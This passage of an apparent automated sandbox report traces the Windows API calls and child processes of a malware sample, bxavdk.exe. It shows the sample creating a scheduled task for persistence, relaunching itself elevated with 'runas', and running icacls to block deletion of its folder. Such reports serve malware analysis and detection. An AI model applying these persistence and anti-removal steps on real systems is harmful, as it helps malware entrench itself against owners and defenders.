hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32ba040 | out: hHeap=0x5e0000) returned 1 [0049.306] IUnknown:Release (This=0x2841058) returned 0x1 [0049.306] ITaskDefinition:get_Actions (in: This=0x2840da8, ppActions=0x18e6c8 | out: ppActions=0x18e6c8*=0x2840e20) returned 0x0 [0049.306] IActionCollection:Create (in: This=0x2840e20, Type=0, ppAction=0x18e6b4 | out: ppAction=0x18e6b4*=0x28410e0) returned 0x0 [0049.307] IUnknown:Release (This=0x2840e20) returned 0x1 [0049.307] IUnknown:QueryInterface (in: This=0x28410e0, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18e6d0 | out: ppvObject=0x18e6d0*=0x28410e0) returned 0x0 [0049.307] IUnknown:Release (This=0x28410e0) returned 0x2 [0049.307] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b45a8 [0049.307] IExecAction:put_Path (This=0x28410e0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe") returned 0x0 [0049.307] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b45a8 | out: hHeap=0x5e0000) returned 1 [0049.307] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b45a8 [0049.307] IExecAction:put_Arguments (This=0x28410e0, Arguments="--Task") returned 0x0 [0049.307] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b45a8 | out: hHeap=0x5e0000) returned 1 [0049.307] IUnknown:Release (This=0x28410e0) returned 0x1 [0049.307] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc) returned 0x32b45a8 [0049.307] ITaskFolder:RegisterTaskDefinition (in: This=0x26ff98, Path="Time Trigger Task", pDefinition=0x2840da8, flags=6, UserId=0x18e170*(varType=0x0, wReserved1=0x32c, wReserved2=0xe684, wReserved3=0x18, varVal1=0x41720b, varVal2=0x5e0000), password=0x18e180*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18e194*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xc8), ppTask=0x18e69c | out: ppTask=0x18e69c*=0x2841150) returned 0x0 [0049.442] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32b45a8 | out: hHeap=0x5e0000) returned 1 [0049.442] TaskScheduler:IUnknown:Release (This=0x26ff98) returned 0x0 [0049.442] TaskScheduler:IUnknown:Release (This=0x2840da8) returned 0x0 [0049.442] IUnknown:Release (This=0x2841150) returned 0x0 [0049.442] CoUninitialize () [0049.443] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32959c0 | out: hHeap=0x5e0000) returned 1 [0049.443] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32958f8 | out: hHeap=0x5e0000) returned 1 [0049.443] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3295830 | out: hHeap=0x5e0000) returned 1 [0049.443] GetVersion () returned 0x1db10106 [0049.443] lstrcpyW (in: lpString1=0x18ec08, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0049.443] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0049.443] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0049.443] ShellExecuteExW (in: pExecInfo=0x18e8c4*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e8c4*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0049.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x329b670 | out: hHeap=0x5e0000) returned 1 [0049.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3295768 | out: hHeap=0x5e0000) returned 1 [0049.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32d26e0 | out: hHeap=0x5e0000) returned 1 [0049.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6ba330 | out: hHeap=0x5e0000) returned 1 [0049.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6880f0 | out: hHeap=0x5e0000) returned 1 [0049.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32d2ee8 | out: hHeap=0x5e0000) returned 1 [0049.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x327d5d8 | out: hHeap=0x5e0000) returned 1 [0049.543] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x68beb8 | out: hHeap=0x5e0000) returned 1 [0049.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x68a2b0 | out: hHeap=0x5e0000) returned 1 [0049.545] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fbac | out: phModule=0x18fbac) returned 0 [0049.545] ExitProcess (uExitCode=0x0) [0049.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x32f6b98 | out: hHeap=0x5e0000) returned 1 [0049.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x688cb8 | out: hHeap=0x5e0000) returned 1 [0049.553] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x9e4 Thread: id = 3 os_tid = 0x9e8 Thread: id = 4 os_tid = 0x9ec Thread: id = 5 os_tid = 0x9f0 Thread: id = 6 os_tid = 0x9f4 Thread: id = 7 os_tid = 0x9f8 Thread: id = 8 os_tid = 0xa04 Thread: id = 22 os_tid = 0xa08 Thread: id = 23 os_tid = 0xa0c Thread: id = 25 os_tid = 0xac4 Thread: id = 35 os_tid = 0xad4 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x9d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 9 os_tid = 0x76c Thread: id = 10 os_tid = 0x758 Thread: id = 11 os_tid = 0x74c Thread: id = 12 os_tid = 0x72c Thread: id = 13 os_tid = 0x71c Thread: id = 14 os_tid = 0x718 Thread: id = 15 os_tid = 0x638 Thread: id = 16 os_tid = 0x154 Thread: id = 17 os_tid = 0x150 Thread: id = 18 os_tid = 0x128 Thread: id = 19 os_tid = 0x12c Thread: id = 20 os_tid = 0x120 Thread: id = 21 os_tid = 0x3fc Thread: id = 24 os_tid = 0xa78 Thread: id = 133 os_tid = 0x344 Thread: id = 144 os_tid = 0x934 Thread: id = 195 os_tid = 0x92c Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x1e190000" os_pid = "0xac8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x9d8" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0xacc Thread: id = 27 os_tid = 0xad0 Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e7f000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x9d8" cmd_line = "taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0xa90 Thread: id = 29 os_tid = 0x8d0 Thread: id = 30 os_tid = 0x578 Thread: id = 31 os_tid = 0x574 Thread: id = 32 os_tid = 0x520 Thread: id = 33 os_tid = 0x514 Thread: id = 34 os_tid = 0x510 Process: id = "5" image_name = "bxavdk.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe" page_root = "0x1fb4f000" os_pid = "0xad8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x9d8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0xadc [0049.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xaafacbb0, dwHighDateTime=0x1d54670)) [0049.708] GetCurrentProcessId () returned 0xad8 [0049.708] GetCurrentThreadId () returned 0xadc [0049.708] GetTickCount () returned 0x1b7e9 [0049.708] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16999745709) returned 1 [0049.721] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x40cbe3)) [0049.721] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0049.721] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x220000 [0049.721] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.721] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0049.721] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0049.721] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0049.721] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0049.723] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x214) returned 0x2207d0 [0049.723] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.723] GetCurrentThreadId () returned 0xadc [0049.723] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40c776, hStdOutput=0x40cb29, hStdError=0x2207d0)) [0049.723] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x800) returned 0x2209f0 [0049.723] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.723] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0049.724] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0049.724] SetHandleCount (uNumber=0x20) returned 0x20 [0049.724] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" --Admin IsNotAutoStart IsNotTask" [0049.724] GetEnvironmentStringsW () returned 0x5e2200* [0049.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0049.724] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x565) returned 0x2211f8 [0049.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2211f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0049.724] FreeEnvironmentStringsW (penv=0x5e2200) returned 1 [0049.724] GetLastError () returned 0x5 [0049.724] SetLastError (dwErrCode=0x5) [0049.724] GetLastError () returned 0x5 [0049.724] SetLastError (dwErrCode=0x5) [0049.724] GetLastError () returned 0x5 [0049.724] SetLastError (dwErrCode=0x5) [0049.725] GetACP () returned 0x4e4 [0049.725] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x220) returned 0x221768 [0049.725] GetLastError () returned 0x5 [0049.725] SetLastError (dwErrCode=0x5) [0049.725] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.725] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0049.725] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0049.725] GetLastError () returned 0x5 [0049.725] SetLastError (dwErrCode=0x5) [0049.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.725] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0049.725] GetLastError () returned 0x5 [0049.725] SetLastError (dwErrCode=0x5) [0049.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ엛帡⟃AĀ") returned 256 [0049.725] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ엛帡⟃AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0049.725] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ엛帡⟃AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0049.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x6b\x9b\x60\x5f\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0049.725] GetLastError () returned 0x5 [0049.725] SetLastError (dwErrCode=0x5) [0049.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 